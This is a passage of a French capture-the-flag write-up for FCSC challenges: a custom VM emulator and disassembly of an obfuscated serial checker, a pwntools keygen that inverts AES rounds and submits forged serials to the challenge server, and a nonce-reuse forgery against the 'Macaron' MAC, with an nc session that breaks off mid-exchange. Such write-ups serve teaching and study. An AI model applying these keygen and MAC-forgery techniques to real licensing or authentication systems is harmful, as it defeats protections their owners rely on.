    if disassembly_mode and not no_stop:
      dis(pc, 'jne %s' % ('{:04x}'.format(kmpq)))
      if not debug_mode:
        pc += 4
    if debug_mode or not disassembly_mode:
      if jump_flag != 0:
        pc = kmpq
      else:
        pc += 4

  elif opcode == 0x0b:
    if disassembly_mode and not no_stop:
      dis(pc, 'add r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] + reg[m]) & 0xffffffff
    pc += 4

  elif opcode == 0x0c:
    if disassembly_mode and not no_stop:
      dis(pc, 'add r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] + imm) & 0xffffffff
    pc += 4

  elif opcode == 0x0d:
    if disassembly_mode and not no_stop:
      dis(pc, 'mul r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] * reg[m]) & 0xffffffff
    pc += 4

  elif opcode == 0x0e:
    if disassembly_mode and not no_stop:
      dis(pc, 'mul r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] * imm) & 0xffffffff
    pc += 4

  elif opcode == 0x0f:
    if disassembly_mode and not no_stop:
      dis(pc, 'inc r%s' % k)
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] + 1) & 0xffffffff
    pc += 4

  elif opcode == 0x10:
    if disassembly_mode and not no_stop:
      dis(pc, 'mod r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] %= reg[m]
    pc += 4

  elif opcode == 0x11:
    if disassembly_mode and not no_stop:
      dis(pc, 'mod r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] %= imm
    pc += 4

  elif opcode == 0x12:
    if disassembly_mode and not no_stop:
      dis(pc, 'xor r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] ^= reg[m]
    pc += 4

  elif opcode == 0x13:
    if disassembly_mode and not no_stop:
      dis(pc, 'xor r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] ^= imm
    pc += 4

  elif opcode == 0x14:
    if disassembly_mode and not no_stop:
      dis(pc, 'jl %s' % ('{:04x}'.format(kmpq)))
      if not debug_mode:
        pc += 4
    if debug_mode or not disassembly_mode:
      if jump_flag < 0:
        pc = kmpq
      else:
        pc += 4

  elif opcode == 0x15:
    if disassembly_mode and not no_stop:
      dis(pc, 'jg %s' % ('{:04x}'.format(kmpq)))
      if not debug_mode:
        pc += 4
    if debug_mode or not disassembly_mode:
      if jump_flag > 0:
        pc = kmpq
      else:
        pc += 4

  elif opcode == 0x16:
    if disassembly_mode and not no_stop:
      dis(pc, 'sub r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] - reg[m]) % 2**32
    pc += 4

  elif opcode == 0x17:
    if disassembly_mode and not no_stop:
      dis(pc, 'sub r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] - imm) % 2**32
    pc += 4

  elif opcode == 0x18:
    if disassembly_mode and not no_stop:
      dis(pc, 'jmp %s' % ('{:04x}'.format(kmpq)))
      pc += 4
    if debug_mode or not disassembly_mode:
      pc = kmpq

  elif opcode == 0x19:
    if disassembly_mode and not no_stop:
      dis(pc, 'shr r%s, %s' % (k, s))
    if debug_mode or not disassembly_mode:
      reg[k] >>= s
    pc += 4

  elif opcode == 0x1a:
    if disassembly_mode and not no_stop:
      dis(pc, 'loadpc r%s' % k)
    if debug_mode or not disassembly_mode:
      reg[k] = pc + 4
    pc += 4

  elif opcode == 0x1b:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov r%s, swap([r%s])' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = swap(read(text, reg[m]))
    pc += 4

  elif opcode == 0x1c:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov [r%s], swap(r%s)' % (k, m))
    if debug_mode or not disassembly_mode:
      write(text, reg[k], swap(reg[m]))
    pc += 4

  elif opcode == 0x1d:
    if disassembly_mode and not no_stop:
      dis(pc, 'shl r%s, %s' % (k, s))
    if debug_mode or not disassembly_mode:
      reg[k] = (reg[k] << s) & 0xffffffff
    pc += 4

  elif opcode == 0x1e:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov [r%s], aes([r%s], [r%s])' % (k, m, p))
    if debug_mode or not disassembly_mode:
      cipher = crypto.AES()
      write_bytes(text, reg[k], cipher.AESENC(read128(text, reg[m]), read128(text, reg[p])))
    pc += 4

  elif opcode in xor_opcodes.keys():
    reg_i, value = xor_opcodes[opcode]
    if disassembly_mode and not no_stop:
      dis(pc, 'xor r%s, %s' % (reg_i, hex(value)))
    if debug_mode or not disassembly_mode:
      reg[reg_i] ^= value
    pc += 4

  elif opcode == 0xfe:
    if disassembly_mode and not no_stop:
      dis(pc, 'ret\n')
      pc += 4
    if debug_mode or not disassembly_mode:
      pc = save_pc.pop()

  elif opcode == 0xff:
    if disassembly_mode and not no_stop:
      dis(pc, 'end\n')
      pc += 4
    if debug_mode or not disassembly_mode:
      break

  else:
    print("[-] %s: opcode %s not supported" % (pc, hex(opcode)))
    break

  if debug_mode and not no_stop:
    while True:
      command = input('> ')
      if command == '' or command == 'n':
        break
      elif command == 'c':
        no_stop = True
        break
      elif command[:2] == 'b ':
        breakpoints.append(int(command[2:], 16))
      else:
        print('Unknown command')

if not disassembly_mode or debug_mode:
  print('[+] Program ended with %s' % reg[0])
```

Voici le code désassemblé généré :

```
0000 sub r11, 1
0004 cmp r11, 255
0008 jne 0074
000c mov r0, r10
0010 mov r1, r12
0014 call 0374
0018 cmp r0, 1
001c jne 0074
0020 mov r0, r8
0024 mov r1, r12
0028 add r1, 128
002c mov r2, 0
0030 call 0288
0034 mov r0, r12
0038 add r0, 128
003c mov r1, r12
0040 add r1, 144
0044 call 007c
0048 mov r0, r12
004c mov r1, r0
0050 add r1, 255
0054 add r1, 1
0058 call 00fc
005c mov r0, r12
0060 mov r1, r12
0064 add r1, 128
0068 mov r2, 96
006c call 02e8
0070 end

0074 mov r0, 0
0078 end

007c loadpc r15
0080 add r15, 72
0084 xor r13, r13
0088 xor r13, 244
008c shl r13, 8
0090 xor r13, 227
0094 shl r13, 8
0098 xor r13, 210
009c shl r13, 8
00a0 xor r13, 193
00a4 mov r14, swap([r15])
00a8 xor r14, r13
00ac mov [r15], swap(r14)
00b0 shl r14, 24
00b4 shr r14, 24
00b8 cmp r14, 127
00bc jg 00c8
00c0 add r15, 4
00c4 jmp 00a4
00c8 xor r12, 0x4110a870
00cc xor r11, 0xe2c7c3c3
00d0 xor r3, 0x3a7ac323
00d4 xor r0, 0x92201356
00d8 xor r10, 0x2934e85a
00dc xor r9, 0x93048f8b
00e0 xor r13, 0xe46099e2
00e4 xor r14, 0xd6632aca
00e8 xor r4, 0xd3bda74e
00ec xor r13, 0xe46099e2
00f0 xor r13, 0xe46099e2
00f4 xor r14, 0xbfb56256
00f8 xor r3, 0xf5acad7d
00fc loadpc r15
0100 add r15, 72
0104 xor r13, r13
0108 xor r13, 161
010c shl r13, 8
0110 xor r13, 178
0114 shl r13, 8
0118 xor r13, 195
011c shl r13, 8
0120 xor r13, 212
0124 mov r14, swap([r15])
0128 xor r14, r13
012c mov [r15], swap(r14)
0130 shl r14, 24
0134 shr r14, 24
0138 cmp r14, 127
013c jg 0148
0140 add r15, 4
0144 jmp 0124
0148 xor r9, 0x93da34fd
014c xor r2, 0xd24eba88
0150 xor r9, 0x93da34fd
0154 xor r1, 0x71e85cfb
0158 xor r1, 0x71e85cfb
015c xor r9, 0x93da34fd
0160 xor r7, 0xb0f84472
0164 xor r8, 0xfcb4cd4a
0168 xor r9, 0x93da34fd
016c xor r7, 0xb0f84472
0170 xor r6, 0xf71a0cab
0174 xor r0, 0xaca57ad
0178 xor r13, 0xd05cd042
017c xor r5, 0xe4573279
0180 xor r3, 0x19f0505b
0184 xor r9, 0x93da34fd
0188 xor r2, 0xd24eba88
018c xor r9, 0x93da34fd
0190 xor r9, 0x93da34fd
0194 xor r10, 0xbc777df5
0198 xor r9, 0x93da34fd
019c xor r2, 0xd24eba88
01a0 xor r9, 0x93da34fd
01a4 xor r2, 0xd24eba88
01a8 xor r9, 0x93da34fd
01ac xor r2, 0xd24eba88
01b0 xor r10, 0xbc777df5
01b4 xor r9, 0x93da34fd
01b8 xor r2, 0xd24eba88
01bc xor r9, 0x93da34fd
01c0 xor r2, 0xd24eba88
01c4 xor r9, 0x93da34fd
01c8 xor r2, 0xd24eba88
01cc xor r10, 0xbc777df5
01d0 xor r9, 0x93da34fd
01d4 xor r2, 0xd24eba88
01d8 xor r9, 0x93da34fd
01dc xor r2, 0xd24eba88
01e0 xor r9, 0x93da34fd
01e4 xor r2, 0xd24eba88
01e8 xor r10, 0xbc777df5
01ec xor r9, 0x93da34fd
01f0 xor r2, 0xd24eba88
01f4 xor r9, 0x93da34fd
01f8 xor r9, 0x93da34fd
01fc xor r2, 0xd24eba88
0200 xor r10, 0xbc777df5
0204 xor r9, 0x93da34fd
0208 xor r9, 0x93da34fd
020c xor r9, 0x93da34fd
0210 xor r2, 0xd24eba88
0214 xor r10, 0xbc777df5
0218 xor r0, 0xaca57ad
021c xor r13, 0xd05cd042
0220 xor r5, 0xe4573279
0224 xor r3, 0x19f0505b
0228 xor r0, 0x480035e4
022c inc r0
0230 inc r0
0234 inc r0
0238 inc r0
023c inc r0
0240 inc r0
0244 inc r0
0248 inc r0
024c inc r0
0250 inc r0
0254 inc r0
0258 inc r0
025c inc r0
0260 inc r0
0264 inc r0
0268 inc r0
026c inc r0
0270 inc r0
0274 inc r0
0278 xor r6, 0x7e0233a2
027c xor r0, 0x92201356
0280 xor r6, 0x66601391
0284 xor r15, 0x727c2426
0288 mov r7, (char) [r0]
028c cmp r7, 0
0290 jne 0298
0294 jmp 02e4
0298 mov r6, 0
029c mov r3, r7
02a0 add r3, r6
02a4 mul r3, 13
02a8 xor r3, 37
02ac mod r3, 255
02b0 mov r4, r6
02b4 add r4, r2
02b8 mod r4, 16
02bc add r4, r1
02c0 mov r5, (char) [r4]
02c4 xor r5, r3
02c8 mov [r4], (char) r5
02cc inc r6
02d0 cmp r6, 16
02d4 jne 029c
02d8 inc r0
02dc inc r2
02e0 call 0288
02e4 ret

02e8 loadpc r15
02ec add r15, 72
02f0 xor r13, r13
02f4 xor r13, 170
02f8 shl r13, 8
02fc xor r13, 187
0300 shl r13, 8
0304 xor r13, 204
0308 shl r13, 8
030c xor r13, 221
0310 mov r14, swap([r15])
0314 xor r14, r13
0318 mov [r15], swap(r14)
031c shl r14, 24
0320 shr r14, 24
0324 cmp r14, 127
0328 jg 0334
032c add r15, 4
0330 jmp 0310
0334 xor r7, 0xb0f84472
0338 xor r5, 0xe4573279
033c xor r5, 0xe4573279
0340 xor r1, 0x71e85cfb
0344 xor r1, 0x71e85cfb
0348 xor r13, 0xd05cd042
034c xor r13, 0xd05cd042
0350 xor r14, 0x2802f673
0354 xor r6, 0xf71a0cab
0358 xor r10, 0x2934e85a
035c xor r14, 0x2802f673
0360 xor r6, 0xf71a0cab
0364 xor r7, 0xb0f84472
0368 xor r5, 0xb1653a57
036c xor r7, 0xb0f84472
0370 xor r7, 0x8bb5b038
0374 mov r3, 0
0378 mov r2, r0
037c add r2, r3
0380 mov r2, (char) [r2]
0384 cmp r2, 0
0388 je 03f0
038c cmp r2, 57
0390 jg 03a4
0394 cmp r2, 48
0398 jl 03f8
039c sub r2, 48
03a0 jmp 03b8
03a4 cmp r2, 102
03a8 jg 03f8
03ac cmp r2, 97
03b0 jl 03f8
03b4 sub r2, 87
03b8 mov r4, r3
03bc mod r4, 2
03c0 cmp r4, 1
03c4 je 03d4
03c8 mul r2, 16
03cc mov r5, r2
03d0 jmp 03e8
03d4 xor r2, r5
03d8 mov r4, r3
03dc shr r4, 1
03e0 add r4, r1
03e4 mov [r4], (char) r2
03e8 inc r3
03ec jmp 0378
03f0 mov r0, 1
03f4 jmp 03fc
03f8 mov r0, 0
03fc ret
```

On peut voir qu'il y a des zones étranges où les fameuses opérations XOR sont répétées sans aucun sens. C'est là que j'ai tiqué : **ces instructions ne servent à rien** dans la logique du programme. Elles sont en réalité ici uniquement à des fins d'obfuscation. Prenons par exemple cette routine :

```
02e8 loadpc r15
02ec add r15, 72
02f0 xor r13, r13
02f4 xor r13, 170
02f8 shl r13, 8
02fc xor r13, 187
0300 shl r13, 8
0304 xor r13, 204
0308 shl r13, 8
030c xor r13, 221
0310 mov r14, swap([r15])
0314 xor r14, r13
0318 mov [r15], swap(r14)
031c shl r14, 24
0320 shr r14, 24
0324 cmp r14, 127
0328 jg 0334
032c add r15, 4
0330 jmp 0310
0334 xor r7, 0xb0f84472
0338 xor r5, 0xe4573279
033c xor r5, 0xe4573279
0340 xor r1, 0x71e85cfb
0344 xor r1, 0x71e85cfb
0348 xor r13, 0xd05cd042
034c xor r13, 0xd05cd042
0350 xor r14, 0x2802f673
0354 xor r6, 0xf71a0cab
0358 xor r10, 0x2934e85a
035c xor r14, 0x2802f673
0360 xor r6, 0xf71a0cab
0364 xor r7, 0xb0f84472
0368 xor r5, 0xb1653a57
036c xor r7, 0xb0f84472
0370 xor r7, 0x8bb5b038
```

Ce qu'on fait ici, c'est qu'on charge la valeur de PC+4 dans r15 et on lui ajoute 72 : r15 contient l'adresse 0x0334. Puis une boucle va venir **déchiffrer** ce tableau de mots à l'aide de swaps et de xors. Difficile donc d'analyser directement ce code de façon statique. Heureusement, je peux maintenant poser des points d'arrêts qui me permettront de suivre le comportement réel du programme en direct !

Aperçu d'un début de session de debug :

![](https://i.imgur.com/soksHRa.png)

Le "main" du programme se décompose en plusieurs calls. Le premier permet de s'assurer que la longueur du serial est de 256 octets. Le deuxième n'est pas très difficile à analyser ; il s'assure que le serial soit en fait de l'hexadécimal et le décode, en le stockant un peu plus loin dans la mémoire. Les trois calls suivants sont des routines obfusquées.

Je passe les étapes de reconstitution de la logique des routines, c'était un travail assez fastidieux car des erreurs pouvaient se cacher à tous les niveaux et n'étaient pas toujours évidentes à corriger (mauvaise compréhension du binaire et donc de la logique de certaines instructions de l'ISA, erreur d'implémentation, mauvaise compréhension/visualisation des routines...).

Voici globalement les étapes du programme :

* Le serial doit faire 256 caractères hexadécimaux, puis est décodé
* On dérive une clé de 96 octets à partir de notre username, à l'aide de boucles de multiplications et de xors
* On effectue 32 itérations d'une série de tours de chiffrement AES de différents blocs du serial, dont les clés sont aussi des blocs du serial
* Le résultat obtenu est comparé à la clé de 96 octets dérivée de l'username

Première remarque : y'a 32 octets qui partent dans le vent. Du coup, on peut générer plein de clés valides en paddant le buffer de 96 octets avec des octets arbitraires (ça tombe bien, le serveur demande à chaque fois deux clés valides pour l'username donné !)

Deuxième remarque : il faut faire très attention à l'ordre dans lesquels sont faits les *aesenc* parce que le serial se réécrit par dessus à chaque itération, et il faut le prendre en compte pour l'algo inverse.

Ceci étant dit, il ne reste plus qu'à coder le fameux keygen.

```python
from binascii import unhexlify as unhex, hexlify as tohex
from pwn import *
import aes as crypto

def aesd(a, b):
  aes = crypto.AES()
  return aes.AESDEC(a, b)

def write(text, offset, value):
  for i in range(len(value)):
    text[offset + i] = value[i]

def invert(serial):
  for i in range(32):
    old_serial = serial[:16][:]
    write(serial, 0, aesd(serial[16:16+16], serial[96:96+16]))
    write(serial, 16, aesd(serial[32:32+16], serial[96:96+16]))
    old_serial48 = serial[48:48+16][:]
    write(serial, 48, aesd(serial[64:64+16], serial[112:112+16]))
    write(serial, 32, aesd(old_serial48, serial[48:48+16]))
    write(serial, 64, aesd(serial[80:80+16], serial[112:112+16]))
    write(serial, 80, aesd(old_serial, serial[:16]))

def keygen(username, random=b'\x00'):
  buffer = [0] * 96
  for i in range(len(username)):
    for c in range(16):
      buffer[(i + c) % 16] ^= (((username[i] + c) * 13) ^ 37) % 255
  for i in range(5):
    for j in range(16):
      buffer[(i + 1) * 16 + j] = (((buffer[i * 16 + j] * 3)) ^ 0xff) % 256
  buffer += [ord(random)] * (128 - 96)
  invert(buffer)
  key = tohex(bytes(buffer))
  return key

r = remote('challenges2.france-cybersecurity-challenge.fr', 3000)

while True:
  msg = r.recv(4096)
  print(msg)
  if b'>>> ' not in msg:
    r.recv(4096)
  username = msg.split(b': ')[1].split(b'\n')[0]
  key1 = keygen(username)
  key2 = keygen(username, random=b'\x01')
  r.send(key1 + b'\n')
  print(r.recv(4096))
  r.send(key2 + b'\n')
```

Résultat :

```
$ python keygenkoo.py                        
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 30
00: Done
b'Give me two valid serials for username: Jame Feldkamp\n>>> '
b'Give me two valid serials for username: Billy Natalie\n>>> '
b'Give me two valid serials for username: Charlotte Adams\n>>> '
b'Give me two valid serials for username: Nickole Muraoka\n>>> '
b'Give me two valid serials for username: Jacob Link\n>>> '
b'Give me two valid serials for username: Stephanie Williams\n>>> '
b'Give me two valid serials for username: Chelsey Hatch\n>>> '
b'Give me two valid serials for username: Bernice Ott\n>>> '
b'Give me two valid serials for username: Richard Harvey\n>>> '
[...]
b'Give me two valid serials for username: hjg48Itso7JNDjjjWVoOI\n>>> '
b'Well done! Here is the flag: FCSC{38b1135bc705b2f1464da07f3052611a91f26a957647a24ceb9607646a19c2dc}\n'
```

Enjoy!


# Macaron (crypto, 200)

## Description du challenge

```
Le but du challenge est de trouver une contrefaçon sur le code d'authentification de message Macaron.

Service : nc challenges1.france-cybersecurity-challenge.fr 2005
```

## Solution

On nous donne le code d'un serveur sur lequel on peut signer des messages :

```python
#!/usr/bin/env python3

import os
from hashlib import sha256
import hmac
import sys
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from flag import flag

class Macaron():
    def __init__(self, k1 = os.urandom(16), k2 = os.urandom(16)):
        self.ctr = 0
        self.k1  = k1
        self.k2  = k2

    def tag(self, input):
        m = pad(input, 2 * 30)
        nb_blocks = len(m) // 30

        tag_hash = bytearray(32)
        nonce_block = long_to_bytes(self.ctr, 2)
        prev_block = nonce_block + m[:30]
        tag_nonce = nonce_block
        self.ctr += 1

        for i in range(nb_blocks - 1):
            nonce_block = long_to_bytes(self.ctr, 2)
            next_block = nonce_block + m[30*(i+1):30*(i+2)]
            big_block = prev_block + next_block
            digest = hmac.new(self.k1, big_block, sha256).digest()
            tag_hash = bytearray([x ^ y for (x,y) in zip(tag_hash, digest)])
            prev_block = next_block
            tag_nonce  = tag_nonce + nonce_block
            self.ctr += 1

        tag_hash = hmac.new(self.k2, tag_hash, sha256).digest()
        return tag_hash, tag_nonce

    def verify(self, input, tag):
        m = pad(input, 2 * 30)
        tag_hash, tag_nonce = tag

        nb_blocks_m = len(m) // 30
        nb_blocks_nonce = len(tag_nonce) // 2

        if nb_blocks_nonce != nb_blocks_m:
            return False

        if len(tag_nonce) % 2 != 0 or len(tag_hash) % 32 != 0:
            return False

        tag_hash_ = bytearray(32)
        prev_block = tag_nonce[:2] + m[:30]

        for i in range(nb_blocks_m - 1):
            next_block =  tag_nonce[2*(i+1):2*(i+2)] + m[30*(i+1):30*(i+2)]
            big_block = prev_block + next_block
            digest = hmac.new(self.k1, big_block, sha256).digest()
            tag_hash_ = bytearray([x ^ y for (x,y) in zip(tag_hash_, digest)])
            prev_block = next_block

        tag_hash_recomputed = hmac.new(self.k2, tag_hash_, sha256).digest()
        return (tag_hash == tag_hash_recomputed)

def menu():
    print("Commands are:")
    print("|-> t tag a message")
    print("|-> v verify a couple (message, tag)")
    print("|-> q Quit")

if __name__ == "__main__":

    L = []
    macaron = Macaron()
    while len(L) <= 32:

        try:
            menu()
            cmd = input(">>> ")

            if len(cmd) == 0 or cmd not in ['t', 'v', 'q']:
                continue

            if cmd == 'q':
                break

            if cmd == 't':
                print("Input the message:")
                message = str.encode(input(">>> "))
                if not len(message):
                    print("Error: the message must not be empty.")
                    continue

                tag = macaron.tag(message)
                print("Tag hash:  {}".format(tag[0].hex()))
                print("Tag nonce: {}".format(tag[1].hex()))
                L.append(message)

            elif cmd == 'v':
                print("Input the message to verify:")
                message = str.encode(input(">>> "))
                if not len(message):
                    print("Error: the message must not be empty.")
                    continue

                print("Input the associated tag hash:")
                tag_hash = bytearray.fromhex(input(">>> "))

                print("Input the associated tag nonce:")
                tag_nonce = bytearray.fromhex(input(">>> "))

                check = macaron.verify(message, (tag_hash, tag_nonce))
                if check:
                    if message not in L:
                        print("Congrats!! Here is the flag: {}".format(flag))
                    else:
                        print("Tag valid, but this message is not new.")
                else:
                    print("Invalid tag. Try again")

        except:
            print("Error: check your input.")
            continue
```

Une signature consiste en un couple (tag\_hash, tag\_nonce). Si on arrive à fournir au serveur un message signé sans qu'on ait généré sa signature avant, c'est gagné.

Le serveur initialise trois données :

* Un compteur *ctr* à 0
* Deux clés *k1* et *k2* pseudo-aléatoires a priori inexploitables

La signature fonctionne de la façon suivante :

* Padder le message *m* pour avoir une taille multiple de 60 octets (standard PKCS, donc si on envoie un message de la bonne taille, un bloc entier de padding sera ajouté, garantissant l'unicité du message paddé)
* On commence à construire tag\_nonce à l'aide du compteur sur 2 octets en big endian (par exemple, 0 devient "0000", 1 devient "0001")
* On initialise tag\_hash (32 octets) à 0
* Pour chaque bloc de 30 octets de *m*, on construit un *big\_block* qui est la concaténation de deux sous-blocs :
  * Le premier sous-bloc est le *next\_block* de l'itération précédente (si c'est la première itération, alors il s'agit du premier *tag\_nonce* concaténé aux 30 premiers octets du message)
  * Le deuxième sous-bloc, *next\_block* est donné par la concaténation du nouveau *nonce* (compteur incrémenté) et des 30 octets suivants de *m*.
* Ce *big\_block* est passé dans un HMAC avec la clé *k1*
* *tag\_hash* est mis à jour en étant XORé avec ce HMAC
* On rajoute le nouveau nonce à *tag\_nonce*
* A la fin, *tag\_hash* est un HMAC de lui-même avec la clé *k2* et on le renvoie aux côtés de *tag\_nonce*

**Un exemple** pour y voir plus clair. Supposons que le compteur soit à 0 et que je veuille signer le message `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` (60 caractères).

Mon message est d'abord paddé : on rajoute 60 octets de valeur ASCII 60, c'est-à-dire le caractère `<`. *m* ressemble donc à `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<`.

Le tag\_nonce est initialisé à "0000". On découpe notre message en blocs de 30 octets :

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
```

Les HMAC calculés seront ceux de :

```
\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\x00\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\x00\x02<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x00\x03<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
```

Ces trois HMAC seront XORés entre eux, puis le résultat passera dans un nouveau HMAC avec une clé différente. Le *tag\_nonce* renvoyé sera `0000000100020003`.

Un petit schéma :

![](https://i.imgur.com/cZCYGBL.png)

Passons désormais à l'exploitation. Comment construire un message qui donnera un *tag\_hash* que l'on prévoir à l'avance ?

Il est évident que l'on ne pourra pas recalculer un *tag\_hash*, puisque l'on a pas la clé *k2* (et aussi parce que le HMAC c'est assez bien foutu donc pas d'attaque de type hash-length extension).

L'idée serait donc de soumettre un message au serveur, d'obtenir un hash, et d'essayer de construire un message différent qui donne le même hash, en se concentrant sur l'idée d'obtenir une valeur identique *avant* le calcul du dernier HMAC.

A ce moment-là, on peut avoir l'intuition : pour avoir deux messages identiques à partir d'un XOR de plusieurs valeurs, il suffit de rajouter par exemple deux valeurs identiques, dont le XOR va s'annuler.

La faiblesse lors de la vérification de la signature consiste en le fait que l'on peut non seulement envoyer des nonce non-ordonnés, mais surtout les **réutiliser**.

Sans plus attendre, voici ma solution. On demande au serveur à signer le message `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb`.

Son découpage en blocs est le suivant :

```
\0\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\0\5<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
```

Le calcul effectué par le serveur est :

```
    hmac(\0\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) #
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
XOR hmac(\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\0\5<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
```

Rajoutons deux blocs qui s'annulent au milieu :

```
    hmac(\0\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) #
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) .
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) .
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
XOR hmac(\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\0\5<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
```

Seul problème à régler : les blocs ne se recouvrent pas (construction avec les *previous\_block* et *next\_block*). En effet, il faut que la fin de ce qui rentre dans le deuxième HMAC coïncide avec le début de ce qui rentre dans le troisième HMAC.

Pour cela, il suffit d'intercaler deux autres blocs de la façon suivante :

```
    hmac(\0\0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) #
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) .
XOR hmac(\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) .
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) .
XOR hmac(\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) .
XOR hmac(\0\1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\2bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb) #
XOR hmac(\0\3bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
XOR hmac(\0\4<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\0\5<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<) #
```

Les 4 blocs rajoutés au total s'annulent car 2 à 2 identiques, et respectent bien le suivi des sous-blocs. Tout est bon !

```
$ nc challenges1.france-cybersecurity-challenge.fr 2005
Commands are:
|-> t tag a message
|-> v verify a couple (message, tag)
|-> q Quit
>>> t
Input the message:
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Tag hash:  3baec174ae8d9af05f83650b377f49d51b8ebb3a97cfc147cc81eaab043d3dc3
Tag nonce: 000000010002000300040005
Commands are:
|-> t tag a message
|-> v verify a couple (message, tag)
|-> q Quit
>>> v
Input the message to verify:
